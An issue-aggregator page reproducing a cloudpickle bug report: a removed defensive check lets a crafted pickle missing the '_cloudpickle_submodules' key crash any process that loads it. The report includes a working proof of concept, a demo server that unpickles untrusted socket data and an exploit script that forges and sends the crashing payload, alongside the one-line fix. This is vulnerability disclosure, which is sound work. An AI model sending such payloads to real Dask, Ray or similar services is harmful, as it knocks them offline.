Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)

Open Beginner friendly
#593 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
78/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
python
Domain
security

Research direction

Start by reading cloudpickle/cloudpickle.py around line 1156 and compare it with the defensive check removed in commit c6f8cd4. Reproduce the crafted pickle described in the issue and verify that deserialization with an absent _cloudpickle_submodules key no longer raises KeyError.

Written by the indexing model from the issue text.

Description

A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.

A CVE has been requested to MITRE for this issue.

Affected versions

cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)


Root cause

In commit c6f8cd4 (#517), the following defensive check was removed:

# OLD safe
if '_cloudpickle_submodules' in state:
    state.pop('_cloudpickle_submodules')

and replaced with:

# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules")  # KeyError if key is absent

Proof of concept

Server.py : 
`
import socket
import struct
import pickle
import cloudpickle
import os

HOST = "127.0.0.1"
PORT = 9999

def start_server():
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      s.listen()
      print(f"Listening {HOST}:{PORT}...")
      
      while True:
          conn, addr = s.accept()
          with conn:
              try:
                  raw_msglen = conn.recv(4)
                  if not raw_msglen: continue
                  msglen = struct.unpack(">I", raw_msglen)[0]
                  
                  data = b""
                  while len(data) < msglen:
                      chunk = conn.recv(msglen - len(data))
                      if not chunk: break
                      data += chunk
                  
                  print(f"{len(data)}o from {addr}")
                  
                  task = pickle.loads(data)
                  
                  result = str(task())
                  print(f"Result : {result}")
                  
                  resp = f"OK: {result}".encode()
                  conn.sendall(struct.pack(">I", len(resp)) + resp)
                  
              except KeyError as e:
                  print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
                  print("Stoping server to show the DOS")
                  break
              except Exception as e:
                  print(f"[!] Error : {type(e).__name__}: {e}")
                  err_msg = f"Error: {str(e)}".encode()
                  conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)

if __name__ == "__main__":
  start_server()
`

exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os

HOST = "127.0.0.1"
PORT = 9999


def build_payload() -> bytes:
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  valid = cloudpickle.dumps(lambda: 42)
  target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'

  if target not in valid:
      sys.exit("[!] Signature not found — incompatible cloudpickle version")

  modified = valid.replace(target, b'', 1)
  old_len = struct.unpack('<Q', valid[3:11])[0]
  new_len = old_len - len(target)
  return valid[:3] + struct.pack('<Q', new_len) + modified[11:]


def send(data: bytes) -> bytes | None:
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(4)
      s.connect((HOST, PORT))
      s.sendall(struct.pack(">I", len(data)) + data)
      raw = s.recv(4)
      if not raw:
          return None
      length = struct.unpack(">I", raw)[0]
      return s.recv(length)


def cmd_try():
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  print(f"[*] Connecting to {HOST}:{PORT}...")
  task = cloudpickle.dumps(lambda: "pong")

  try:
      resp = send(task)
      print(f"[+] Server is up — response: {resp.decode()}")
  except ConnectionRefusedError:
      print("[-] Connection refused — server not running")
      sys.exit(1)
  except socket.timeout:
      print("[-] Timeout — server not responding")
      sys.exit(1)


def cmd_exploit():
  payload = build_payload()
  print(f"[*] Forged payload: {len(payload)} bytes")
  print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
  print(f"[*] Sending to {HOST}:{PORT}...")

  try:
      resp = send(payload)
      print(f"[-] Server responded (not crashed): {resp}")
  except ConnectionRefusedError:
      print("[!] Connection refused — server already dead or not running")
  except (socket.timeout, ConnectionResetError):
      print("[+] No response — server crashed")
      print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")


Usage:
python3 exploit.py try      Test the connection (sends a legit task)
python3 exploit.py exploit  Send the DoS payload
"""

Impact

Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.

Fix

# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)
Dominant language
Python
Stars
1.9k
Forks
197
Avg merge
1d 10h
Merged PRs (30d)
1

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from cloudpipe/cloudpickle

All issues in cloudpipe/cloudpickle

Similar issues

More Python issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.